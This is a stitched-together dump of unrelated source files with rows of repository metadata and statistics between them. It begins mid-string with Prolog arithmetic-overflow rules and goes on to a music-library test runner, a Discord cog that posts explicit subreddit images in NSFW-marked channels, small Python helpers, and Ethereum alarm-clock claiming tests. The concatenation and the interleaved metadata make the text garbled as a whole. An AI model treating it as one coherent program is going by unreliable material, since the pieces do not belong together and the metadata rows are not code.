f0(X) :- X=999999990*999999999. %*(999999990,999999999,X).
a(X) :- X = 536870912 * 4. % 2^29*2^2=2^31
b(X) :- X = 715827882 * 3. % = 2^31-2
s1(X) :- X=999999999+1. %+(999999999, 1,X).
s2(X) :- X=999999998+1. %+(999999998, 1,X).
s3(X) :- X=899999999+100000001. %+(899999999,100000001,X).
s4(X) :- X=999999999+999999999. %+(999999999,999999999,X)."""
output = """
%#maxint=999999999.
h(X) :- X=1000000*1. %*(1000000, 1,X).
g(X) :- X=1000000*2. %*(1000000, 2,X).
f(X) :- X=1000000*1000000. %*(1000000,1000000,X).
f9(X) :- X=999999999*999999999. %*(999999999,999999999,X).
f8(X) :- X=999999998*999999999. %*(999999998,999999999,X).
f7(X) :- X=999999997*999999999. %*(999999997,999999999,X).
f6(X) :- X=999999996*999999999. %*(999999996,999999999,X).
f5(X) :- X=999999995*999999999. %*(999999995,999999999,X).
f4(X) :- X=999999994*999999999. %*(999999994,999999999,X).
f3(X) :- X=999999993*999999999. %*(999999993,999999999,X).
f2(X) :- X=999999992*999999999. %*(999999992,999999999,X).
f1(X) :- X=999999991*999999999. %*(999999991,999999999,X).
f0(X) :- X=999999990*999999999. %*(999999990,999999999,X).
a(X) :- X = 536870912 * 4. % 2^29*2^2=2^31
b(X) :- X = 715827882 * 3. % = 2^31-2
s1(X) :- X=999999999+1. %+(999999999, 1,X).
s2(X) :- X=999999998+1. %+(999999998, 1,X).
s3(X) :- X=899999999+100000001. %+(899999999,100000001,X).
s4(X) :- X=999999999+999999999. %+(999999999,999999999,X)."""
| 44.469388 | 61 | 0.617256 | 316 | 2,179 | 4.256329 | 0.139241 | 0.056506 | 0.160595 | 0.05948 | 0.991822 | 0.991822 | 0.991822 | 0.991822 | 0.991822 | 0.991822 | 0 | 0.620836 | 0.132171 | 2,179 | 48 | 62 | 45.395833 | 0.090428 | 0 | 0 | 0.952381 | 0 | 0.047619 | 0.98548 | 0.560187 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
0205875bb20f829f14ab197fc3c42daa707e1c8d | 158 | py | Python | musicscore/musicxml/types/complextypes/tests.py | alexgorji/music_score | b4176da52295361f3436826903485c5cb8054c5e | [
"MIT"
] | 2 | 2020-06-22T13:33:28.000Z | 2020-12-30T15:09:00.000Z | musicscore/musicxml/types/complextypes/tests.py | alexgorji/music_score | b4176da52295361f3436826903485c5cb8054c5e | [
"MIT"
] | 37 | 2020-02-18T12:15:00.000Z | 2021-12-13T20:01:14.000Z | musicscore/musicxml/types/complextypes/tests.py | alexgorji/music_score | b4176da52295361f3436826903485c5cb8054c5e | [
"MIT"
] | null | null | null | import musicscore.musicxml.types.complextypes.beam as beam
import musicscore.musicxml.types.complextypes.lyric as lyric
beam.Test().run()
lyric.Test().run()
| 26.333333 | 60 | 0.803797 | 22 | 158 | 5.772727 | 0.454545 | 0.251969 | 0.377953 | 0.456693 | 0.645669 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.06962 | 158 | 5 | 61 | 31.6 | 0.863946 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
0210fb96db799eea0847c486841fa1fd9ec1325a | 21,067 | py | Python | AkagiModules/Cogs/NsfwCog.py | starleyes/Akagi | 8c45f7e71b74f6e2286b78ead481b4425170aed7 | [
"MIT"
] | 3 | 2021-02-16T02:16:07.000Z | 2021-08-23T11:26:41.000Z | AkagiModules/Cogs/NsfwCog.py | zednofap/Akagi | 1ca0655c6c6e346629b0999da0e71cb023fcdaee | [
"MIT"
] | 1 | 2021-02-16T02:22:49.000Z | 2021-02-16T02:22:49.000Z | AkagiModules/Cogs/NsfwCog.py | zednofap/Akagi | 1ca0655c6c6e346629b0999da0e71cb023fcdaee | [
"MIT"
] | 1 | 2021-02-16T02:20:52.000Z | 2021-02-16T02:20:52.000Z | from discord.ext import commands
from discord import Embed as AkagiEmbed
from AkagiModules.Config.Config import reddit_client_id as RedditAkagiClientID
from AkagiModules.Config.Config import reddit_client_secret as RedditAkagiClientSecret
from AkagiModules.Config.Config import reddit_user_agent as RedditAkagiUserAgent
import discord
import datetime
import aiohttp
import random
import praw
reddit = praw.Reddit(client_id=RedditAkagiClientID,
client_secret=RedditAkagiClientSecret,
user_agent=RedditAkagiUserAgent, check_for_async=False)
class NsfwCog(commands.Cog):
def __init__(self, bot):
self.bot = bot
@commands.command(no_pm=True)
@commands.is_nsfw()
async def pawg(self, ctx):
subreddit = reddit.subreddit('pawg')
all_subs = []
top = subreddit.top(limit=5)
for submission in top:
all_subs.append(submission)
random_sub = random.choice(all_subs)
name = random_sub.title
url = random_sub.url
embed = AkagiEmbed(title=f"Pawg!",
description=f'[*{name}*]({url})',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_image(url=url)
embed.set_author(name=ctx.me.display_name, icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
await ctx.send(embed=embed)
@pawg.error
async def pawg_error_handler(self, ctx, error):
if isinstance(error, commands.NSFWChannelRequired):
embed = AkagiEmbed(
title=f"Error",
description='*This command is Only for NSFW Channels!*',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_author(name=ctx.me.display_name,
icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
return await ctx.send(embed=embed)
@commands.command(no_pm=True)
@commands.is_nsfw()
async def ass(self, ctx):
subreddit = reddit.subreddit('ass')
all_subs = []
top = subreddit.top(limit=5)
for submission in top:
all_subs.append(submission)
random_sub = random.choice(all_subs)
name = random_sub.title
url = random_sub.url
embed = AkagiEmbed(title=f"Ass!",
description=f'[*{name}*]({url})',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_image(url=url)
embed.set_author(name=ctx.me.display_name, icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
await ctx.send(embed=embed)
@ass.error
async def ass_error_handler(self, ctx, error):
if isinstance(error, commands.NSFWChannelRequired):
embed = AkagiEmbed(
title=f"Error",
description='*This command is Only for NSFW Channels!*',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_author(name=ctx.me.display_name,
icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
return await ctx.send(embed=embed)
@commands.command(no_pm=True)
@commands.is_nsfw()
async def pussy(self, ctx):
subreddit = reddit.subreddit('pussy')
all_subs = []
top = subreddit.top(limit=5)
for submission in top:
all_subs.append(submission)
random_sub = random.choice(all_subs)
name = random_sub.title
url = random_sub.url
embed = AkagiEmbed(title=f"Pussy!",
description=f'[*{name}*]({url})',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_image(url=url)
embed.set_author(name=ctx.me.display_name, icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
await ctx.send(embed=embed)
@pussy.error
async def pussy_error_handler(self, ctx, error):
if isinstance(error, commands.NSFWChannelRequired):
embed = AkagiEmbed(
title=f"Error",
description='*This command is Only for NSFW Channels!*',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_author(name=ctx.me.display_name,
icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
return await ctx.send(embed=embed)
@commands.command(no_pm=True)
@commands.is_nsfw()
async def boobs(self, ctx):
subreddit = reddit.subreddit('boobs')
all_subs = []
top = subreddit.top(limit=5)
for submission in top:
all_subs.append(submission)
random_sub = random.choice(all_subs)
name = random_sub.title
url = random_sub.url
embed = AkagiEmbed(title=f"Boobs!",
description=f'[*{name}*]({url})',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_image(url=url)
embed.set_author(name=ctx.me.display_name, icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
await ctx.send(embed=embed)
@boobs.error
async def boobs_error_handler(self, ctx, error):
if isinstance(error, commands.NSFWChannelRequired):
embed = AkagiEmbed(
title=f"Error",
description='*This command is Only for NSFW Channels!*',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_author(name=ctx.me.display_name,
icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
return await ctx.send(embed=embed)
@commands.command(no_pm=True)
@commands.is_nsfw()
async def bdsm(self, ctx):
subreddit = reddit.subreddit('bdsm')
all_subs = []
top = subreddit.top(limit=5)
for submission in top:
all_subs.append(submission)
random_sub = random.choice(all_subs)
name = random_sub.title
url = random_sub.url
embed = AkagiEmbed(title=f"Bdsm!",
description=f'[*{name}*]({url})',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_image(url=url)
embed.set_author(name=ctx.me.display_name, icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
await ctx.send(embed=embed)
@bdsm.error
async def bdsm_error_handler(self, ctx, error):
if isinstance(error, commands.NSFWChannelRequired):
embed = AkagiEmbed(
title=f"Error",
description='*This command is Only for NSFW Channels!*',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_author(name=ctx.me.display_name,
icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
return await ctx.send(embed=embed)
@commands.command(no_pm=True)
@commands.is_nsfw()
async def kinky(self, ctx):
subreddit = reddit.subreddit('kinky')
all_subs = []
top = subreddit.top(limit=5)
for submission in top:
all_subs.append(submission)
random_sub = random.choice(all_subs)
name = random_sub.title
url = random_sub.url
embed = AkagiEmbed(title=f"Kinky!",
description=f'[*{name}*]({url})',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_image(url=url)
embed.set_author(name=ctx.me.display_name, icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
await ctx.send(embed=embed)
@kinky.error
async def kinky_error_handler(self, ctx, error):
if isinstance(error, commands.NSFWChannelRequired):
embed = AkagiEmbed(
title=f"Error",
description='*This command is Only for NSFW Channels!*',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_author(name=ctx.me.display_name,
icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
return await ctx.send(embed=embed)
@commands.command(no_pm=True)
@commands.is_nsfw()
async def collared(self, ctx):
subreddit = reddit.subreddit('collared')
all_subs = []
top = subreddit.top(limit=5)
for submission in top:
all_subs.append(submission)
random_sub = random.choice(all_subs)
name = random_sub.title
url = random_sub.url
embed = AkagiEmbed(title=f"Collared!",
description=f'[*{name}*]({url})',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_image(url=url)
embed.set_author(name=ctx.me.display_name, icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
await ctx.send(embed=embed)
@collared.error
async def collared_error_handler(self, ctx, error):
if isinstance(error, commands.NSFWChannelRequired):
embed = AkagiEmbed(
title=f"Error",
description='*This command is Only for NSFW Channels!*',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_author(name=ctx.me.display_name,
icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
return await ctx.send(embed=embed)
@commands.command(no_pm=True)
@commands.is_nsfw()
async def bottomless(self, ctx):
subreddit = reddit.subreddit('Bottomless')
all_subs = []
top = subreddit.top(limit=5)
for submission in top:
all_subs.append(submission)
random_sub = random.choice(all_subs)
name = random_sub.title
url = random_sub.url
embed = AkagiEmbed(title=f"Bottomless!",
description=f'[*{name}*]({url})',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_image(url=url)
embed.set_author(name=ctx.me.display_name, icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
await ctx.send(embed=embed)
@bottomless.error
async def bottomless_error_handler(self, ctx, error):
if isinstance(error, commands.NSFWChannelRequired):
embed = AkagiEmbed(
title=f"Error",
description='*This command is Only for NSFW Channels!*',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_author(name=ctx.me.display_name,
icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
return await ctx.send(embed=embed)
@commands.command(no_pm=True)
@commands.is_nsfw()
async def dick(self, ctx):
subreddit = reddit.subreddit('penis')
all_subs = []
top = subreddit.top(limit=5)
for submission in top:
all_subs.append(submission)
random_sub = random.choice(all_subs)
name = random_sub.title
url = random_sub.url
embed = AkagiEmbed(title=f"Dick!",
description=f'[*{name}*]({url})',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_image(url=url)
embed.set_author(name=ctx.me.display_name, icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
await ctx.send(embed=embed)
@dick.error
async def dick_error_handler(self, ctx, error):
if isinstance(error, commands.NSFWChannelRequired):
embed = AkagiEmbed(
title=f"Error",
description='*This command is Only for NSFW Channels!*',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_author(name=ctx.me.display_name,
icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
return await ctx.send(embed=embed)
@commands.command(no_pm=True)
@commands.is_nsfw()
async def redhead(self, ctx):
subreddit = reddit.subreddit('redhead')
all_subs = []
top = subreddit.top(limit=5)
for submission in top:
all_subs.append(submission)
random_sub = random.choice(all_subs)
name = random_sub.title
url = random_sub.url
embed = AkagiEmbed(title=f"Redhead!",
description=f'[*{name}*]({url})',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_image(url=url)
embed.set_author(name=ctx.me.display_name, icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
await ctx.send(embed=embed)
@redhead.error
async def redhead_error_handler(self, ctx, error):
if isinstance(error, commands.NSFWChannelRequired):
embed = AkagiEmbed(
title=f"Error",
description='*This command is Only for NSFW Channels!*',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_author(name=ctx.me.display_name,
icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
return await ctx.send(embed=embed)
@commands.command(no_pm=True)
@commands.is_nsfw()
async def chubby(self, ctx):
subreddit = reddit.subreddit('chubby')
all_subs = []
top = subreddit.top(limit=5)
for submission in top:
all_subs.append(submission)
random_sub = random.choice(all_subs)
name = random_sub.title
url = random_sub.url
embed = AkagiEmbed(title=f"Chubby!",
description=f'[*{name}*]({url})',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_image(url=url)
embed.set_author(name=ctx.me.display_name, icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
await ctx.send(embed=embed)
@chubby.error
async def chubby_error_handler(self, ctx, error):
if isinstance(error, commands.NSFWChannelRequired):
embed = AkagiEmbed(
title=f"Error",
description='*This command is Only for NSFW Channels!*',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_author(name=ctx.me.display_name,
icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
return await ctx.send(embed=embed)
@commands.command(no_pm=True)
@commands.is_nsfw()
async def nsfw(self, ctx):
subreddit = reddit.subreddit('nsfw')
all_subs = []
top = subreddit.top(limit=5)
for submission in top:
all_subs.append(submission)
random_sub = random.choice(all_subs)
name = random_sub.title
url = random_sub.url
embed = AkagiEmbed(title=f"Random Nsfw!",
description=f'[*{name}*]({url})',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_image(url=url)
embed.set_author(name=ctx.me.display_name, icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
await ctx.send(embed=embed)
@nsfw.error
async def nsfw_error_handler(self, ctx, error):
if isinstance(error, commands.NSFWChannelRequired):
embed = AkagiEmbed(
title=f"Error",
description='*This command is Only for NSFW Channels!*',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_author(name=ctx.me.display_name,
icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
return await ctx.send(embed=embed)
@commands.command(no_pm=True)
@commands.is_nsfw()
async def hentai(self, ctx):
subreddit = reddit.subreddit('hentai')
all_subs = []
top = subreddit.top(limit=5)
for submission in top:
all_subs.append(submission)
random_sub = random.choice(all_subs)
name = random_sub.title
url = random_sub.url
embed = AkagiEmbed(title=f"Random Hentai!",
description=f'[*{name}*]({url})',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_image(url=url)
embed.set_author(name=ctx.me.display_name, icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
await ctx.send(embed=embed)
@hentai.error
async def nsfw_error_handler(self, ctx, error):
if isinstance(error, commands.NSFWChannelRequired):
embed = AkagiEmbed(
title=f"Error",
description='*This command is Only for NSFW Channels!*',
timestamp=datetime.datetime.utcnow(),
color=discord.Color.red())
embed.set_author(name=ctx.me.display_name,
icon_url=ctx.me.avatar_url)
embed.set_footer(text="{}".format(ctx.author.display_name),
icon_url=ctx.author.avatar_url)
return await ctx.send(embed=embed)
async def on_message(self, message):
print(message.content)
def setup(bot):
bot.add_cog(NsfwCog(bot))
| 42.645749 | 86 | 0.565766 | 2,346 | 21,067 | 4.9237 | 0.043052 | 0.045018 | 0.067527 | 0.081032 | 0.918016 | 0.883127 | 0.879664 | 0.871699 | 0.871699 | 0.871699 | 0 | 0.000913 | 0.324204 | 21,067 | 493 | 87 | 42.732252 | 0.810424 | 0 | 0 | 0.815145 | 0 | 0 | 0.049414 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.004454 | false | 0 | 0.022272 | 0 | 0.057906 | 0.002227 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
02845eb5b8aba65f3252e27b3937debec607921e | 240 | py | Python | libs/utils/config.py | AlexRogalskiy/smart-social-distancing | 2def6738038035e67ac79fc9b72ba072e190321f | [
"Apache-2.0"
] | 113 | 2020-05-22T10:54:44.000Z | 2022-03-22T13:43:38.000Z | libs/utils/config.py | neuralet/smart-social-distancing | 3ec95433c24e62ab78d30193b378fefd1801c0a5 | [
"Apache-2.0"
] | 55 | 2020-05-20T20:16:40.000Z | 2021-10-13T10:00:56.000Z | libs/utils/config.py | AlexRogalskiy/smart-social-distancing | 2def6738038035e67ac79fc9b72ba072e190321f | [
"Apache-2.0"
] | 37 | 2020-05-24T00:48:48.000Z | 2022-02-28T14:58:13.000Z | def get_area_config_directory(config):
return f"{config.get_section_dict('App')['EntityConfigDirectory']}/areas"
def get_source_config_directory(config):
return f"{config.get_section_dict('App')['EntityConfigDirectory']}/sources"
| 34.285714 | 79 | 0.783333 | 30 | 240 | 5.933333 | 0.466667 | 0.067416 | 0.235955 | 0.303371 | 0.808989 | 0.808989 | 0.808989 | 0.808989 | 0.808989 | 0.808989 | 0 | 0 | 0.075 | 240 | 6 | 80 | 40 | 0.801802 | 0 | 0 | 0 | 0 | 0 | 0.533333 | 0.533333 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 12 |
028a5776478d544c7fd2baf2db11820566b027de | 124 | py | Python | autox/autox_ts/data_split/__init__.py | OneToolsCollection/4paradigm-AutoX | f8e838021354de17f5bb9bc44e9d68d12dda6427 | [
"Apache-2.0"
] | null | null | null | autox/autox_ts/data_split/__init__.py | OneToolsCollection/4paradigm-AutoX | f8e838021354de17f5bb9bc44e9d68d12dda6427 | [
"Apache-2.0"
] | null | null | null | autox/autox_ts/data_split/__init__.py | OneToolsCollection/4paradigm-AutoX | f8e838021354de17f5bb9bc44e9d68d12dda6427 | [
"Apache-2.0"
] | null | null | null | from .data_split import get_train_valid
from .data_split import split_sequences
from .data_split import split_sequences_test | 41.333333 | 44 | 0.887097 | 20 | 124 | 5.1 | 0.45 | 0.235294 | 0.382353 | 0.558824 | 0.647059 | 0.647059 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08871 | 124 | 3 | 44 | 41.333333 | 0.902655 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
65f3d27649e79367aefcdc7bdcb6d3ed03f6a5aa | 8,815 | py | Python | populus-tests/timestamp-scheduling/test_timestamp_claiming.py | romil797/ethereum-alarm-clock | b2710fb9ff24794fdb1100cdb80acee7efaeb94c | [
"MIT"
] | 15 | 2017-09-19T20:54:00.000Z | 2018-12-09T16:09:22.000Z | populus-tests/timestamp-scheduling/test_timestamp_claiming.py | romil797/ethereum-alarm-clock | b2710fb9ff24794fdb1100cdb80acee7efaeb94c | [
"MIT"
] | null | null | null | populus-tests/timestamp-scheduling/test_timestamp_claiming.py | romil797/ethereum-alarm-clock | b2710fb9ff24794fdb1100cdb80acee7efaeb94c | [
"MIT"
] | 5 | 2017-11-17T20:18:06.000Z | 2018-10-10T13:55:46.000Z | import pytest
DAY = 60 * 60 * 24
def test_cannot_claim_before_first_claim_timestamp(chain,
web3,
RequestData,
set_timestamp,
get_claim_data):
window_start = web3.eth.getBlock('latest')['timestamp'] + DAY
txn_request = RequestData(
temporalUnit=2,
windowStart=window_start,
).direct_deploy()
request_data = RequestData.from_contract(txn_request)
first_claim_timestamp = request_data.schedule.windowStart - request_data.schedule.freezePeriod - request_data.schedule.claimWindowSize
# sanity
assert first_claim_timestamp > web3.eth.getBlock('latest')['timestamp']
set_timestamp(first_claim_timestamp - 10)
claim_txn_hash = txn_request.transact({
'value': 2 * request_data.paymentData.payment,
}).claim()
chain.wait.for_receipt(claim_txn_hash)
with pytest.raises(AssertionError):
get_claim_data(claim_txn_hash)
request_data.refresh()
assert request_data.claimData.claimedBy == '0x0000000000000000000000000000000000000000'
def test_can_claim_at_first_claim_timestamp(chain,
web3,
RequestData,
set_timestamp,
get_claim_data):
window_start = web3.eth.getBlock('latest')['timestamp'] + DAY
txn_request = RequestData(
temporalUnit=2,
windowStart=window_start,
).direct_deploy()
request_data = RequestData.from_contract(txn_request)
first_claim_timestamp = request_data.schedule.windowStart - request_data.schedule.freezePeriod - request_data.schedule.claimWindowSize
# sanity
assert first_claim_timestamp > web3.eth.getBlock('latest')['timestamp']
set_timestamp(first_claim_timestamp)
claim_txn_hash = txn_request.transact({
'value': 2 * request_data.paymentData.payment,
}).claim()
chain.wait.for_receipt(claim_txn_hash)
claim_data = get_claim_data(claim_txn_hash)
assert claim_data
request_data.refresh()
assert request_data.claimData.claimedBy == web3.eth.coinbase
def test_can_claim_at_last_claim_timestamp(chain,
web3,
set_timestamp,
RequestData):
window_start = web3.eth.getBlock('latest')['timestamp'] + DAY
txn_request = RequestData(
temporalUnit=2,
windowStart=window_start,
).direct_deploy()
request_data = RequestData.from_contract(txn_request)
last_claim_timestamp = request_data.schedule.windowStart - request_data.schedule.freezePeriod
# sanity
assert last_claim_timestamp > web3.eth.getBlock('latest')['timestamp']
set_timestamp(last_claim_timestamp - 17)
claim_txn_hash = txn_request.transact({
'value': 2 * request_data.paymentData.payment,
}).claim()
chain.wait.for_receipt(claim_txn_hash)
request_data.refresh()
assert request_data.claimData.claimedBy == web3.eth.coinbase
def test_cannot_claim_after_last_claim_timestamp(chain,
web3,
RequestData,
set_timestamp,
get_claim_data):
window_start = web3.eth.getBlock('latest')['timestamp'] + DAY
txn_request = RequestData(
temporalUnit=2,
windowStart=window_start,
).direct_deploy()
request_data = RequestData.from_contract(txn_request)
last_claim_timestamp = request_data.schedule.windowStart - request_data.schedule.freezePeriod
# sanity
assert last_claim_timestamp > web3.eth.getBlock('latest')['timestamp']
set_timestamp(last_claim_timestamp + 1)
claim_txn_hash = txn_request.transact({
'value': 2 * request_data.paymentData.payment,
}).claim()
chain.wait.for_receipt(claim_txn_hash)
with pytest.raises(AssertionError):
get_claim_data(claim_txn_hash)
request_data.refresh()
assert request_data.claimData.claimedBy == '0x0000000000000000000000000000000000000000'
def test_executing_own_claimed_timestamp_based_request(chain,
web3,
RequestData,
get_execute_data,
set_timestamp,
get_claim_data):
window_start = web3.eth.getBlock('latest')['timestamp'] + DAY
txn_request = RequestData(
temporalUnit=2,
windowStart=window_start,
).direct_deploy()
request_data = RequestData.from_contract(txn_request)
first_claim_timestamp = request_data.schedule.windowStart - request_data.schedule.freezePeriod - request_data.schedule.claimWindowSize
# sanity
assert first_claim_timestamp > web3.eth.getBlock('latest')['timestamp']
set_timestamp(first_claim_timestamp)
claim_txn_hash = txn_request.transact({
'value': 2 * request_data.paymentData.payment,
'from': web3.eth.accounts[1],
}).claim()
chain.wait.for_receipt(claim_txn_hash)
request_data.refresh()
assert request_data.claimData.claimedBy == web3.eth.accounts[1]
assert get_claim_data(claim_txn_hash)
set_timestamp(request_data.schedule.windowStart)
execute_txn_hash = txn_request.transact({
'from': web3.eth.accounts[1],
'gas': 3000000,
}).execute()
chain.wait.for_receipt(execute_txn_hash)
request_data.refresh()
assert request_data.meta.wasCalled is True
assert get_execute_data(execute_txn_hash)
def test_executing_other_claimed_call_after_timestamp_reserved_window(chain,
web3,
RequestData,
set_timestamp,
get_claim_data,
get_execute_data):
window_start = web3.eth.getBlock('latest')['timestamp'] + DAY
txn_request = RequestData(
temporalUnit=2,
windowStart=window_start,
).direct_deploy()
request_data = RequestData.from_contract(txn_request)
first_claim_timestamp = request_data.schedule.windowStart - request_data.schedule.freezePeriod - request_data.schedule.claimWindowSize
# sanity
assert first_claim_timestamp > web3.eth.getBlock('latest')['timestamp']
set_timestamp(first_claim_timestamp)
claim_txn_hash = txn_request.transact({
'value': 2 * request_data.paymentData.payment,
'from': web3.eth.accounts[1],
}).claim()
chain.wait.for_receipt(claim_txn_hash)
request_data.refresh()
assert request_data.claimData.claimedBy == web3.eth.accounts[1]
assert get_claim_data(claim_txn_hash)
set_timestamp(
request_data.schedule.windowStart + request_data.schedule.reservedWindowSize
)
execute_txn_hash = txn_request.transact({'gas': 3000000}).execute()
chain.wait.for_receipt(execute_txn_hash)
request_data.refresh()
assert request_data.meta.wasCalled is True
assert get_execute_data(execute_txn_hash)
def test_claim_timestamp_determines_payment_amount(chain,
web3,
set_timestamp,
RequestData):
window_start = web3.eth.getBlock('latest')['timestamp'] + DAY
txn_request = RequestData(
temporalUnit=2,
windowStart=window_start,
).direct_deploy()
request_data = RequestData.from_contract(txn_request)
claim_at = request_data.schedule.windowStart - request_data.schedule.freezePeriod - request_data.schedule.claimWindowSize + request_data.schedule.claimWindowSize * 2 // 3
expected_payment_modifier = 100 * 2 // 3
# sanity
assert request_data.claimData.paymentModifier == 0
assert claim_at > web3.eth.getBlock('latest')['timestamp']
set_timestamp(claim_at)
claim_txn_hash = txn_request.transact({
'value': 2 * request_data.paymentData.payment,
}).claim()
chain.wait.for_receipt(claim_txn_hash)
request_data.refresh()
assert request_data.claimData.paymentModifier == expected_payment_modifier
